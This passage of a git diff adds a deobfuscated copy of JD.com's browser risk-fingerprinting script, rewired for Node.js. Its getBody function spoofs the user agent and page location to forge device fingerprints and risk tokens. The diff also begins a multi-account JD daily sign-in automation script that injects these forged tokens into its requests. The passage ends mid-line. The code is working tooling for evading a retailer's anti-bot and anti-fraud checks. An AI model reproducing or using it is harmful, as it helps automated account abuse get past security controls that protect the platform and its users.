_url_query_str.length && (_url_query_str = _url_query_str.substring( + 0, 499)), t = t.substring(0, u)); + return t = t.substring(_CurrentPageProtocol.length) +}(), +jd_shadow__ = function () { + try { + var t = JDDSecCryptoJS, + u = []; + u.push(_CurrentPageUrl); + var v = t.lib.UUID.generateUuid(); + u.push(v); + var x = (new Date).getTime(); + u.push(x); + var w = t.SHA1(u.join("")).toString().toUpperCase(); + u = []; + u.push("JD3"); + u.push(w); + var A = (new JDDMAC).mac(u.join("")); + u.push(A); + var y = t.enc.Hex.parse("30313233343536373839616263646566"), + n = t.enc.Hex.parse("4c5751554935255042304e6458323365"), + e = u.join(""); + return t.AES.encrypt(t.enc.Utf8.parse(e), n, { + mode: t.mode.CBC, + padding: t.pad.Pkcs7, + iv: y + }).ciphertext.toString(t.enc.Base32) + } catch (f) { + console.log(f) + } +}() +var td_collect = new function () { + function t() { + var n = window.webkitRTCPeerConnection || window.mozRTCPeerConnection || window.RTCPeerConnection; + if (n) { + var e = function (k) { + var g = /([0-9]{1,3}(\.[0-9]{1,3}){3})/, + m = + /\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)?\s*/; + try { + var a = g.exec(k); + if (null == a || 0 == a.length || void 0 == a) a = m.exec(k); + var b = a[1]; + void 0 === f[b] && w.push(b); + f[b] = !0 + } catch (c) { } + }, + f = {}; + try { + var r = new n({ + iceServers: [{ + url: "stun:stun.services.mozilla.com" + }] + }) + } catch (k) { } + try { + void 0 === r && (r = new n({ + iceServers: [] + })) + } catch (k) { } + if (r || window.mozRTCPeerConnection) try { + r.createDataChannel("chat", { + reliable: !1 + }) + } catch (k) { } + r && (r.onicecandidate = function (k) { + k.candidate && e(k.candidate.candidate) + }, r.createOffer(function (k) { + r.setLocalDescription(k, function () { }, function () { }) + }, function () { }), setTimeout(function () { + try { + r.localDescription.sdp.split("\n").forEach(function (k) { + 0 === k.indexOf("a=candidate:") && e(k) + }) + } catch (k) { } + }, 800)) + } + } + + function u(n) { + var e; + return (e = document.cookie.match(new RegExp("(^| )" + n + "=([^;]*)(;|$)"))) ? e[2] : "" + } + + function v() { + function n(g) { + var m = {}; + r.style.fontFamily = g; + document.body.appendChild(r); + m.height = r.offsetHeight; + m.width = r.offsetWidth; + document.body.removeChild(r); + return m + } + var e = ["monospace", "sans-serif", "serif"], + f = [], + r = document.createElement("span"); + r.style.fontSize = "72px"; + r.style.visibility = "hidden"; + r.innerHTML = "mmmmmmmmmmlli"; + for (var k = 0; k < e.length; k++) f[k] = n(e[k]); + this.checkSupportFont = function (g) { + for (var m = 0; m < f.length; m++) { + var a = n(g + "," + e[m]), + b = f[m]; + if (a.height !== b.height || a.width !== b.width) return !0 + } + return !1 + } + } + + function x(n) { + var e = {}; + e.name = n.name; + e.filename = n.filename.toLowerCase(); + e.description = n.description; + void 0 !== n.version && (e.version = n.version); + e.mimeTypes = []; + for (var f = 0; f < n.length; f++) { + var r = n[f], + k = {}; + k.description = r.description; + k.suffixes = r.suffixes; + k.type = r.type; + e.mimeTypes.push(k) + } + return e + } + this.bizId = ""; + this.bioConfig = { + type: "42", + operation: 1, + duraTime: 2, + interval: 50 + }; + this.worder = null; + this.deviceInfo = { + userAgent: "", + isJdApp: !1, + isJrApp: !1, + sdkToken: "", + fp: "", + eid: "" + }; + this.isRpTok = !1; + this.obtainLocal = function (n) { + n = "undefined" !== typeof n && n ? !0 : !1; + var e = {}; + try { + var f = document.cookie.replace(/(?:(?:^|.*;\s*)3AB9D23F7A4B3C9B\s*=\s*([^;]*).*$)|^.*$/, "$1"); + 0 !== f.length && (e.cookie = f) + } catch (k) { } + try { + window.localStorage && null !== window.localStorage && 0 !== window.localStorage.length && (e.localStorage = + window.localStorage.getItem("3AB9D23F7A4B3C9B")) + } catch (k) { } + try { + window.sessionStorage && null !== window.sessionStorage && (e.sessionStorage = window.sessionStorage[ + "3AB9D23F7A4B3C9B"]) + } catch (k) { } + try { + p.globalStorage && (e.globalStorage = window.globalStorage[".localdomain"]["3AB9D23F7A4B3C9B"]) + } catch (k) { } + try { + d && "function" == typeof d.load && "function" == typeof d.getAttribute && (d.load( + "jdgia_user_data"), e.userData = d.getAttribute("3AB9D23F7A4B3C9B")) + } catch (k) { } + try { + E.indexedDbId && (e.indexedDb = E.indexedDbId) + } catch (k) { } + try { + E.webDbId && (e.webDb = E.webDbId) + } catch (k) { } + try { + for (var r in e) + if (32 < e[r].length) { + _JdEid = e[r]; + n || (_eidFlag = !0); + break + } + } catch (k) { } + try { + ("undefined" === typeof _JdEid || 0 >= _JdEid.length) && this.db("3AB9D23F7A4B3C9B"); + if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) _JdEid = u("3AB9D23F7A4B3C9B"); + if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) _eidFlag = !0 + } catch (k) { } + return _JdEid + }; + var w = [], + A = + "Abadi MT Condensed Light;Adobe Fangsong Std;Adobe Hebrew;Adobe Ming Std;Agency FB;Arab;Arabic Typesetting;Arial Black;Batang;Bauhaus 93;Bell MT;Bitstream Vera Serif;Bodoni MT;Bookman Old Style;Braggadocio;Broadway;Calibri;Californian FB;Castellar;Casual;Centaur;Century Gothic;Chalkduster;Colonna MT;Copperplate Gothic Light;DejaVu LGC Sans Mono;Desdemona;DFKai-SB;Dotum;Engravers MT;Eras Bold ITC;Eurostile;FangSong;Forte;Franklin Gothic Heavy;French Script MT;Gabriola;Gigi;Gisha;Goudy Old Style;Gulim;GungSeo;Haettenschweiler;Harrington;Hiragino Sans GB;Impact;Informal Roman;KacstOne;Kino MT;Kozuka Gothic Pr6N;Lohit Gujarati;Loma;Lucida Bright;Lucida Fax;Magneto;Malgun Gothic;Matura MT Script Capitals;Menlo;MingLiU-ExtB;MoolBoran;MS PMincho;MS Reference Sans Serif;News Gothic MT;Niagara Solid;Nyala;Palace Script MT;Papyrus;Perpetua;Playbill;PMingLiU;Rachana;Rockwell;Sawasdee;Script MT Bold;Segoe Print;Showcard Gothic;SimHei;Snap ITC;TlwgMono;Tw Cen MT Condensed Extra Bold;Ubuntu;Umpush;Univers;Utopia;Vladimir Script;Wide Latin" + .split(";"), + y = + "4game;AdblockPlugin;AdobeExManCCDetect;AdobeExManDetect;Alawar NPAPI utils;Aliedit Plug-In;Alipay Security Control 3;AliSSOLogin plugin;AmazonMP3DownloaderPlugin;AOL Media Playback Plugin;AppUp;ArchiCAD;AVG SiteSafety plugin;Babylon ToolBar;Battlelog Game Launcher;BitCometAgent;Bitdefender QuickScan;BlueStacks Install Detector;CatalinaGroup Update;Citrix ICA Client;Citrix online plug-in;Citrix Receiver Plug-in;Coowon Update;DealPlyLive Update;Default Browser Helper;DivX Browser Plug-In;DivX Plus Web Player;DivX VOD Helper Plug-in;doubleTwist Web Plugin;Downloaders plugin;downloadUpdater;eMusicPlugin DLM6;ESN Launch Mozilla Plugin;ESN Sonar API;Exif Everywhere;Facebook Plugin;File Downloader Plug-in;FileLab plugin;FlyOrDie Games Plugin;Folx 3 Browser Plugin;FUZEShare;GDL Object Web Plug-in 16.00;GFACE Plugin;Ginger;Gnome Shell Integration;Google Earth Plugin;Google Earth Plug-in;Google Gears 0.5.33.0;Google Talk Effects Plugin;Google Update;Harmony Firefox Plugin;Harmony Plug-In;Heroes & Generals live;HPDetect;Html5 location provider;IE Tab plugin;iGetterScriptablePlugin;iMesh plugin;Kaspersky Password Manager;LastPass;LogMeIn Plugin 1.0.0.935;LogMeIn Plugin 1.0.0.961;Ma-Config.com plugin;Microsoft Office 2013;MinibarPlugin;Native Client;Nitro PDF Plug-In;Nokia Suite Enabler Plugin;Norton Identity Safe;npAPI Plugin;NPLastPass;NPPlayerShell;npTongbuAddin;NyxLauncher;Octoshape Streaming Services;Online Storage plug-in;Orbit Downloader;Pando Web Plugin;Parom.TV player plugin;PDF integrado do WebKit;PDF-XChange Viewer;PhotoCenterPlugin1.1.2.2;Picasa;PlayOn Plug-in;QQ2013 Firefox Plugin;QQDownload Plugin;QQMiniDL Plugin;QQMusic;RealDownloader Plugin;Roblox Launcher Plugin;RockMelt Update;Safer Update;SafeSearch;Scripting.Dictionary;SefClient Plugin;Shell.UIHelper;Silverlight Plug-In;Simple Pass;Skype Web Plugin;SumatraPDF Browser Plugin;Symantec PKI Client;Tencent FTN plug-in;Thunder DapCtrl NPAPI Plugin;TorchHelper;Unity Player;Uplay PC;VDownloader;Veetle TV Core;VLC Multimedia Plugin;Web Components;WebKit-integrierte PDF;WEBZEN Browser Extension;Wolfram Mathematica;WordCaptureX;WPI Detector 1.4;Yandex Media Plugin;Yandex PDF Viewer;YouTube Plug-in;zako" + .split(";"); + this.toJson = "object" === typeof JSON && JSON.stringify; + this.init = function () { + _fingerprint_step = 6; + t(); + _fingerprint_step = 7; + "function" !== typeof this.toJson && (this.toJson = function (n) { + var e = typeof n; + if ("undefined" === e || null === n) return "null"; + if ("number" === e || "boolean" === e) return n + ""; + if ("object" === e && n && n.constructor === Array) { + e = []; + for (var f = 0; n.length > f; f++) e.push(this.toJson(n[f])); + return "[" + (e + "]") + } + if ("object" === e) { + e = []; + for (f in n) n.hasOwnProperty(f) && e.push('"' + f + '":' + this.toJson(n[f])); + return "{" + (e + "}") + } + }); + this.sdkCollectInit() + }; + this.sdkCollectInit = function () { + try { + try { + bp_bizid && (this.bizId = bp_bizid) + } catch (f) { + this.bizId = "jsDefault" + } + var n = navigator.userAgent.toLowerCase(), + e = !n.match(/(iphone|ipad|ipod)/i) && (-1 < n.indexOf("android") || -1 < n.indexOf("adr")); + this.deviceInfo.isJdApp = -1 < n.indexOf("jdapp"); + this.deviceInfo.isJrApp = -1 < n.indexOf("jdjr"); + this.deviceInfo.userAgent = navigator.userAgent; + this.deviceInfo.isAndroid = e; + this.createWorker() + } catch (f) { } + }; + this.db = function (n, e) { + try { + _fingerprint_step = "m"; + if (window.openDatabase) { + var f = window.openDatabase("sqlite_jdtdstorage", "", "jdtdstorage", 1048576); + void 0 !== e && "" != e ? f.transaction(function (r) { + r.executeSql( + "CREATE TABLE IF NOT EXISTS cache(id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL, value TEXT NOT NULL, UNIQUE (name))", + [], + function (k, g) { }, + function (k, g) { }); + r.executeSql("INSERT OR REPLACE INTO cache(name, value) VALUES(?, ?)", [n, e], + function (k, g) { }, + function (k, g) { }) + }) : f.transaction(function (r) { + r.executeSql("SELECT value FROM cache WHERE name=?", [n], function (k, g) { + 1 <= g.rows.length && (_JdEid = g.rows.item(0).value) + }, function (k, g) { }) + }) + } + _fingerprint_step = "n" + } catch (r) { } + }; + this.setCookie = function (n, e) { + void 0 !== e && "" != e && (document.cookie = n + "=" + e + + "; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/; domain=" + _root_domain) + }; + this.tdencrypt = function (n) { + n = this.toJson(n); + n = encodeURIComponent(n); + var e = "", + f = 0; + do { + var r = n.charCodeAt(f++); + var k = n.charCodeAt(f++); + var g = n.charCodeAt(f++); + var m = r >> 2; + r = (r & 3) << 4 | k >> 4; + var a = (k & 15) << 2 | g >> 6; + var b = g & 63; + isNaN(k) ? a = b = 64 : isNaN(g) && (b = 64); + e = e + "23IL k; k++) C = q[k], void 0 !== screen[C] && (z[C] = screen[C]); + q = ["devicePixelRatio", "screenTop", "screenLeft"]; + l = {}; + for (k = 0; q.length > k; k++) C = q[k], void 0 !== window[C] && (l[C] = window[C]); + e.p = h; + e.w = l; + e.s = z; + e.sc = f; + e.tz = n.getTimezoneOffset(); + e.lil = w.sort().join("|"); + e.wil = ""; + f = {}; + try { + f.cookie = navigator.cookieEnabled, f.localStorage = !!window.localStorage, f.sessionStorage = !! + window.sessionStorage, f.globalStorage = !!window.globalStorage, f.indexedDB = !!window.indexedDB + } catch (D) { } + e.ss = f; + e.ts.deviceTime = n.getTime(); + e.ts.deviceEndTime = (new Date).getTime(); + return this.tdencrypt(e) + }; + this.collectSdk = function (n) { + try { + var e = this, + f = !1, + r = e.getLocal("BATQW722QTLYVCRD"); + if (null != r && void 0 != r && "" != r) try { + var k = JSON.parse(r), + g = (new Date).getTime(); + null != k && void 0 != k.t && "number" == typeof k.t && (12E5 >= g - k.t && void 0 != k.tk && + null != k.tk && "" != k.tk && k.tk.startsWith("jdd") ? (e.deviceInfo.sdkToken = k.tk, + f = !0) : void 0 != k.tk && null != k.tk && "" != k.tk && (e.deviceInfo.sdkToken = + k.tk)) + } catch (m) { } + r = !1; + e.deviceInfo.isJdApp ? (e.deviceInfo.clientVersion = navigator.userAgent.split(";")[2], (r = 0 < e.compareVersion( + e.deviceInfo.clientVersion, "7.0.2")) && !f && e.getJdSdkCacheToken(function (m) { + e.deviceInfo.sdkToken = m; + null != m && "" != m && m.startsWith("jdd") || e.getJdBioToken(n) + })) : e.deviceInfo.isJrApp && (e.deviceInfo.clientVersion = navigator.userAgent.match( + /clientVersion=([^&]*)(&|$)/)[1], (r = 0 < e.compareVersion(e.deviceInfo.clientVersion, + "4.6.0")) && !f && e.getJdJrSdkCacheToken(function (m) { + e.deviceInfo.sdkToken = m; + null != m && "" != m && m.startsWith("jdd") || e.getJdJrBioToken(n) + })); + "function" == typeof n && n(e.deviceInfo) + } catch (m) { } + }; + this.compareVersion = function (n, e) { + try { + if (n === e) return 0; + var f = n.split("."); + var r = e.split("."); + for (n = 0; n < f.length; n++) { + var k = parseInt(f[n]); + if (!r[n]) return 1; + var g = parseInt(r[n]); + if (k < g) break; + if (k > g) return 1 + } + } catch (m) { } + return -1 + }; + this.isWKWebView = function () { + return this.deviceInfo.userAgent.match(/supportJDSHWK/i) || 1 == window._is_jdsh_wkwebview ? !0 : !1 + }; + this.getErrorToken = function (n) { + try { + if (n) { + var e = (n + "").match(/"token":"(.*?)"/); + if (e && 1 < e.length) return e[1] + } + } catch (f) { } + return "" + }; + this.getJdJrBioToken = function (n) { + var e = this; + "undefined" != typeof JrBridge && null != JrBridge && "undefined" != typeof JrBridge._version && (0 > e + .compareVersion(JrBridge._version, "2.0.0") ? console.error( + "\u6865\u7248\u672c\u4f4e\u4e8e2.0\u4e0d\u652f\u6301bio") : JrBridge.callNative({ + type: e.bioConfig.type, + operation: e.bioConfig.operation, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + }, function (f) { + try { + "object" != typeof f && (f = JSON.parse(f)), e.deviceInfo.sdkToken = f.token + } catch (r) { + console.error(r) + } + null != e.deviceInfo.sdkToken && "" != e.deviceInfo.sdkToken && (f = { + tk: e.deviceInfo.sdkToken, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f))) + })) + }; + this.getJdJrSdkCacheToken = function (n) { + var e = this; + try { + "undefined" == typeof JrBridge || null == JrBridge || "undefined" == typeof JrBridge._version || 0 > + e.compareVersion(JrBridge._version, "2.0.0") || JrBridge.callNative({ + type: e.bioConfig.type, + operation: 5, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + }, function (f) { + var r = ""; + try { + "object" != typeof f && (f = JSON.parse(f)), r = f.token + } catch (k) { + console.error(k) + } + null != r && "" != r && "function" == typeof n && (n(r), r.startsWith("jdd") && (f = { + tk: r, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f)))) + }) + } catch (f) { } + }; + this.getJdBioToken = function (n) { + var e = this; + n = JSON.stringify({ + businessType: "bridgeBiologicalProbe", + callBackName: "_bioDeviceCb", + params: { + pin: "", + jsonData: { + type: e.bioConfig.type, + operation: e.bioConfig.operation, + data: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + }, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + } + } + }); + e.isWKWebView() ? window.webkit.messageHandlers.JDAppUnite.postMessage({ + method: "notifyMessageToNative", + params: n + }) : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(n); + window._bioDeviceCb = function (f) { + try { + var r = "object" == typeof f ? f : JSON.parse(f); + if (void 0 != r && null != r && "0" != r.status) return; + null != r.data.token && void 0 != r.data.token && "" != r.data.token && (e.deviceInfo.sdkToken = + r.data.token) + } catch (k) { + f = e.getErrorToken(f), null != f && "" != f && (e.deviceInfo.sdkToken = f) + } + null != e.deviceInfo.sdkToken && "" != e.deviceInfo.sdkToken && (f = { + tk: e.deviceInfo.sdkToken, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f))) + } + }; + this.getJdSdkCacheToken = function (n) { + try { + var e = this, + f = JSON.stringify({ + businessType: "bridgeBiologicalProbe", + callBackName: "_bioDeviceSdkCacheCb", + params: { + pin: "", + jsonData: { + type: e.bioConfig.type, + operation: 5, + data: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + }, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + } + } + }); + e.isWKWebView() ? window.webkit.messageHandlers.JDAppUnite.postMessage({ + method: "notifyMessageToNative", + params: f + }) : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(f); + window._bioDeviceSdkCacheCb = function (r) { + var k = ""; + try { + var g = "object" == typeof r ? r : JSON.parse(r); + if (void 0 != g && null != g && "0" != g.status) return; + k = g.data.token + } catch (m) { + k = e.getErrorToken(r) + } + null != k && "" != k && "function" == typeof n && (n(k), k.startsWith("jdd") && (r = { + tk: k, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(r)))) + } + } catch (r) { } + }; + this.store = function (n, e) { + try { + this.setCookie(n, e) + } catch (f) { } + try { + window.localStorage && window.localStorage.setItem(n, e) + } catch (f) { } + try { + window.sessionStorage && window.sessionStorage.setItem(n, e) + } catch (f) { } + try { + window.globalStorage && window.globalStorage[".localdomain"].setItem(n, e) + } catch (f) { } + try { + this.db(n, _JdEid) + } catch (f) { } + }; + this.getLocal = function (n) { + var e = {}, + f = null; + try { + var r = document.cookie.replace(new RegExp("(?:(?:^|.*;\\s*)" + n + "\\s*\\=\\s*([^;]*).*$)|^.*$"), + "$1"); + 0 !== r.length && (e.cookie = r) + } catch (g) { } + try { + window.localStorage && null !== window.localStorage && 0 !== window.localStorage.length && (e.localStorage = + window.localStorage.getItem(n)) + } catch (g) { } + try { + window.sessionStorage && null !== window.sessionStorage && (e.sessionStorage = window.sessionStorage[ + n]) + } catch (g) { } + try { + p.globalStorage && (e.globalStorage = window.globalStorage[".localdomain"][n]) + } catch (g) { } + try { + d && "function" == typeof d.load && "function" == typeof d.getAttribute && (d.load( + "jdgia_user_data"), e.userData = d.getAttribute(n)) + } catch (g) { } + try { + E.indexedDbId && (e.indexedDb = E.indexedDbId) + } catch (g) { } + try { + E.webDbId && (e.webDb = E.webDbId) + } catch (g) { } + try { + for (var k in e) + if (32 < e[k].length) { + f = e[k]; + break + } + } catch (g) { } + try { + if (null == f || "undefined" === typeof f || 0 >= f.length) f = u(n) + } catch (g) { } + return f + }; + this.createWorker = function () { + if (window.Worker) { + try { + var n = new Blob([ + "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};" + ], { + type: "application/javascript" + }) + } catch (e) { + window.BlobBuilder = window.BlobBuilder || window.WebKitBlobBuilder || window.MozBlobBuilder, n = + new BlobBuilder, n.append( + "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};" + ), n = n.getBlob() + } + try { + this.worker = new Worker(URL.createObjectURL(n)) + } catch (e) { } + } + }; + this.reportWorker = function (n, e, f, r) { + try { + null != this.worker && (this.worker.postMessage(JSON.stringify({ + url: n, + data: e, + success: !1, + async: !1 + })), this.worker.onmessage = function (k) { }) + } catch (k) { } + } +}; + +function td_collect_exe() { + _fingerprint_step = 8; + var t = td_collect.collect(); + td_collect.collectSdk(); + var u = "string" === typeof orderId ? orderId : "", + v = "undefined" !== typeof jdfp_pinenp_ext && jdfp_pinenp_ext ? 2 : 1; + u = { + pin: _jdJrTdCommonsObtainPin(v), + oid: u, + p: "https:" == document.location.protocol ? "s" : "h", + fp: risk_jd_local_fingerprint, + ctype: v, + v: "2.7.10.4", + f: "3" + }; + try { + u.o = _CurrentPageUrl, u.qs = _url_query_str + } catch (w) { } + _fingerprint_step = 9; + 0 >= _JdEid.length && (_JdEid = td_collect.obtainLocal(), 0 < _JdEid.length && (_eidFlag = !0)); + u.fc = _JdEid; + try { + u.t = jd_risk_token_id + } catch (w) { } + try { + if ("undefined" != typeof gia_fp_qd_uuid && 0 <= gia_fp_qd_uuid.length) u.qi = gia_fp_qd_uuid; + else { + var x = _JdJrRiskClientStorage.jdtdstorage_cookie("qd_uid"); + u.qi = void 0 == x ? "" : x + } + } catch (w) { } + "undefined" != typeof jd_shadow__ && 0 < jd_shadow__.length && (u.jtb = jd_shadow__); + try { + td_collect.deviceInfo && void 0 != td_collect.deviceInfo && null != td_collect.deviceInfo.sdkToken && "" != + td_collect.deviceInfo.sdkToken ? (u.stk = td_collect.deviceInfo.sdkToken, td_collect.isRpTok = !0) : + td_collect.isRpTok = !1 + } catch (w) { + td_collect.isRpTok = !1 + } + x = td_collect.tdencrypt(u); + // console.log(u) + return { a: x, d: t } +} + +function _jdJrTdCommonsObtainPin(t) { + var u = ""; + "string" === typeof jd_jr_td_risk_pin && 1 == t ? u = jd_jr_td_risk_pin : "string" === typeof pin ? u = pin : + "object" === typeof pin && "string" === typeof jd_jr_td_risk_pin && (u = jd_jr_td_risk_pin); + return u +}; + +function getBody(url = document.location.href) { + navigator.userAgent = UA + let href = url + let choose = /((https?:)\/\/([^\/]+))(.+)/.exec(url) + let [, origin, protocol, host, pathname] = choose; + document.location.href = href + document.location.origin = origin + document.location.protocol = protocol + document.location.host = host + document.location.pathname = pathname + const JF = new JdJrTdRiskFinger(); + let fp = JF.f.get(function (t) { + risk_jd_local_fingerprint = t + return t + }); + let arr = td_collect_exe() + return { fp, ...arr } +} + +JdJrTdRiskFinger.getBody = getBody; +module.exports = JdJrTdRiskFinger; \ No newline at end of file diff --git a/utils/JD_DailyBonus.js b/utils/JD_DailyBonus.js new file mode 100644 index 0000000..0563f85 --- /dev/null +++ b/utils/JD_DailyBonus.js @@ -0,0 +1,1950 @@ +/* + +京东多合一签到脚本 + +更新时间: 2021.09.09 20:20 v2.1.3 +有效接口: 20+ +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +电报频道: @NobyDa +问题反馈: @NobyDa_bot +如果转载: 请注明出处 + +如需获取京东金融签到Body, 可进入"京东金融"APP (iOS), 在"首页"点击"签到"并签到一次, 返回抓包app搜索关键字 h5/m/appSign 复制请求体填入json串数据内即可 +*/ + +var Key = ''; //该参数已废弃; 仅用于下游脚本的兼容, 请使用json串数据 ↓ + +var DualKey = ''; //该参数已废弃; 仅用于下游脚本的兼容, 请使用json串数据 ↓ + +var OtherKey = ``; //无限账号Cookie json串数据, 请严格按照json格式填写, 具体格式请看以下样例: + + +var LogDetails = false; //是否开启响应日志, true则开启 + +var stop = '0'; //自定义延迟签到, 单位毫秒. 默认分批并发无延迟; 该参数接受随机或指定延迟(例: '2000'则表示延迟2秒; '2000-5000'则表示延迟最小2秒,最大5秒内的随机延迟), 如填入延迟则切换顺序签到(耗时较长), Surge用户请注意在SurgeUI界面调整脚本超时; 注: 该参数Node.js或JSbox环境下已配置数据持久化, 留空(var stop = '')即可清除. + +var DeleteCookie = false; //是否清除所有Cookie, true则开启. + +var boxdis = true; //是否开启自动禁用, false则关闭. 脚本运行崩溃时(如VPN断连), 下次运行时将自动禁用相关崩溃接口(仅部分接口启用), 崩溃时可能会误禁用正常接口. (该选项仅适用于QX,Surge,Loon) + +var ReDis = false; //是否移除所有禁用列表, true则开启. 适用于触发自动禁用后, 需要再次启用接口的情况. (该选项仅适用于QX,Surge,Loon) + +var out = 0; //接口超时退出, 用于可能发生的网络不稳定, 0则关闭. 如QX日志出现大量"JS Context timeout"后脚本中断时, 建议填写6000 + +var $nobyda = nobyda(); + +var merge = {}; + +var KEY = ''; + +const Faker = require('./JDSignValidator') +const zooFaker = require('./JDJRValidator_Pure') +let fp = '', eid = '', md5 + +$nobyda.get = zooFaker.injectToRequest2($nobyda.get.bind($nobyda), 'channelSign') +$nobyda.post = zooFaker.injectToRequest2($nobyda.post.bind($nobyda), 'channelSign') + +async function all(cookie, jrBody) { + KEY = cookie; + merge = {}; + $nobyda.num++; + switch (stop) { + case 0: + await Promise.all([ + JingDongBean(stop), //京东京豆 + JingDongStore(stop), //京东超市 + //JingRongSteel(stop, jrBody), //金融钢镚 + //JingDongTurn(stop), //京东转盘 + // JDFlashSale(stop), //京东闪购 + // JingDongCash(stop), //京东现金红包 + // JDMagicCube(stop, 2), //京东小魔方 + //JingDongSubsidy(stop), //京东金贴 + JingDongGetCash(stop), //京东领现金 + //JingDongShake(stop), //京东摇一摇 + //JDSecKilling(stop), //京东秒杀 + // JingRongDoll(stop, 'JRDoll', '京东金融-签壹', '4D25A6F482'), + // JingRongDoll(stop, 'JRThreeDoll', '京东金融-签叁', '69F5EC743C'), + // JingRongDoll(stop, 'JRFourDoll', '京东金融-签肆', '30C4F86264'), + // JingRongDoll(stop, 'JRFiveDoll', '京东金融-签伍', '1D06AA3B0F') + ]); + await Promise.all([ + //JDUserSignPre(stop, 'JDUndies', '京东商城-内衣', '4PgpL1xqPSW1sVXCJ3xopDbB1f69'), //京东内衣馆 + //JDUserSignPre(stop, 'JDCard', '京东商城-卡包', '7e5fRnma6RBATV9wNrGXJwihzcD'), //京东卡包 + // JDUserSignPre(stop, 'JDCustomized', '京东商城-定制', '2BJK5RBdvc3hdddZDS1Svd5Esj3R'), //京东定制 + //JDUserSignPre(stop, 'JDaccompany', '京东商城-陪伴', 'kPM3Xedz1PBiGQjY4ZYGmeVvrts'), //京东陪伴 + //JDUserSignPre(stop, 'JDShoes', '京东商城-鞋靴', '4RXyb1W4Y986LJW8ToqMK14BdTD'), //京东鞋靴 + //JDUserSignPre(stop, 'JDChild', '京东商城-童装', '3Af6mZNcf5m795T8dtDVfDwWVNhJ'), //京东童装馆 + //JDUserSignPre(stop, 